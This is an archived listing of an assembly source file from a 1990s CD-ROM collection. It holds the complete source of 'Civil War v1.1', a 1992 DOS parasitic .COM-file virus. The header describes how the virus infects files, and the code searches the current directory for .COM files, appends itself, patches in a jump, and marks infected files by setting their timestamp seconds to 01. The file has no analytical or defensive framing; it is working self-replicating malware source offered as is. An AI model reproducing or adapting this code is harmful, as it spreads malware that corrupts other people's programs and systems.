home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CIVIL.ASM < prev    next >
Assembly Source File  |  1995-05-23  |  5KB  |  152 lines

  1. ;*****************************************************************************
  2. ;*   CIVIL WAR v1.1                                                          *
  3. ;*                                                                           *
  4. ;*   Assemble with Tasm 1.01                                                 *
  5. ;*                                                                           *
  6. ;*   Civil War is non-resident parasitic .COM infector with a lenght of 245  *
  7. ;*   bytes. The virus will be located at the end of the infected .COM file   *
  8. ;*   Infected files have their timestamp changed into 01 sec                 *
  9. ;*   The virus will only infected files in the current directory.            *
  10. ;*                                                                           *
  11. ;*   (c) 1992 Dark Helmet, The Netherlands                                   *
  12. ;*   The author takes no responsibilty for any damages caused by the virus   *
  13. ;*                                                                           *
  14. ;*   "My hands are tied                                       *
  15. ;*    The billions shift from side to side                                   *
  16. ;*    And the wars go on with brainwashed pride                              *
  17. ;*    For the love of God and our human rights                               *
  18. ;*    And all these things are swept aside                                   *
  19. ;*    By bloody hands time can't deny                                        *
  20. ;*    And are washed away by our genocide                                    *
  21. ;*    And history hides the lies of our Civil Wars"                   *
  22. ;*                                                                           *
  23. ;*                       Civil War, Guns and Roses                           *
  24. ;*****************************************************************************
  25.  
  26.           .Radix 16
  27.  
  28. Civil_War         Segment
  29.           Assume cs:Civil_war, ds:Civil_war
  30.           org 100h
  31.  
  32. len               equ offset last - begin
  33.  
  34. dummy:            db 0e9h, 00h, 00h          ; dummy code, only for stand 
  35.                          ; alone viruscode
  36.  
  37. Begin:            Call start_virus           ; make call to push IP on stack
  38.  
  39.  
  40. Start_virus:      pop bp                     ; Get IP from stack
  41.           sub bp,106  
  42.           mov dx,0fe00h              ; Move DTA
  43.           mov ah,1ah
  44.           int 21h
  45.  
  46. Restore:          mov di,0100h               ; Restore begin of orginal file
  47.           lea si,[buffer+bp]
  48.           movsw
  49.           movsb
  50.  
  51. First:            lea dx,[com_mask+bp]        ; Find first com file 
  52.           mov ah,04eh
  53.           xor cx,cx
  54.           int 21h
  55.        
  56. Open_file:        mov ax,03d02h               ; Open file
  57.           mov dx,0fe1eh
  58.           int 21h
  59.           mov [handle+bp],ax          ; Get handle
  60.           mov bx,ax                                  
  61.  
  62. Date_read:        mov ax,05700h               ; Get date/time of file
  63.           int 21h
  64.           push cx                     ; Date on stack
  65.           and cl,2fh                  ; Filter seconds
  66.  
  67. Check_infect:     cmp cl,01h                  ; Check if seconds equ to 01
  68.           pop cx
  69.           jz next                     ; If so, search next file
  70.           push cx
  71.           push dx
  72.  
  73. Read_start:       mov bx,[handle+bp]          ; Read first 3 bytes of file to 
  74.           mov ah,03fh                 ; recover later
  75.           mov cx,03h
  76.           lea dx,[buffer+bp]
  77.           int 21h
  78.  
  79. Write_jmp:        mov ax,04202h               ; Set pointer at end of file
  80.           call move_pointer          
  81.           sub ax,3h                   ; AX contains lenght of file
  82.           mov [lenght+bp],ax          ; Store lenght        
  83.           mov ax,04200h               ; Set pointer to begin of file
  84.           call move_pointer            
  85.  
  86.           call write_jump
  87.           
  88.           mov ax,04202h               ; Set pointer to end of file
  89.           call move_pointer
  90.  
  91. Write_virus:      mov ah,40h                  ; Write virus at end of file
  92.           mov cx,len
  93.           lea dx,[begin+bp]
  94.           int 21h
  95.  
  96. Date_write:       mov ax,05701h               ; Write original date back
  97.           pop dx
  98.           pop cx
  99.           and cl,0c0h
  100.           or  cl,01h                  ; Seconds equ 01
  101.           int 21h
  102.           jmp end1
  103.  
  104. Next:             Call search_next
  105.           jnb open_file                 
  106.  
  107. End1:             mov bx,0100h                ; Jump to begin, continu program
  108.           jmp bx
  109.  
  110.           
  111.  
  112. ;*****************************************************************************
  113.  
  114. Move_pointer:     mov bx,[handle+bp]         ; Part to move file pointer
  115.           xor cx,cx
  116.           xor dx,dx
  117.           int 21h
  118.           ret
  119.  
  120. Search_next:      mov bx,[handle+bp]
  121.           mov ah,3eh                 ; Close file
  122.           int 21h
  123.           mov ah,4fh                 ; Search next
  124.           int 21h
  125.           ret
  126.  
  127. Write_jump:       mov ah,40h                 ; Write jump instruction
  128.           mov cx,01
  129.           lea dx,[jump+bp]
  130.           int 21h
  131.           mov ah,40h                 ; Write jump lenght
  132.           mov cx,02
  133.           lea dx,[lenght+bp]
  134.           int 21h
  135.           ret
  136.  
  137. ;*****************************************************************************
  138.  
  139. Message           db "Civil War, (c) 1992 Dark Helmet",0
  140. Com_mask          db '*.com',0
  141. buffer            db 090h, 0cdh, 020h,0        ; Stores the first 3 bytes
  142.                            ; of the infected program,
  143.                            ; Its now just filled to run 
  144.                            ; the stand alone code
  145. jump              db 0e9h,0
  146. handle            dw ?
  147. lenght            dw ?
  148. last              db 090h
  149.  
  150. Civil_War         ends
  151.           end dummy
  152.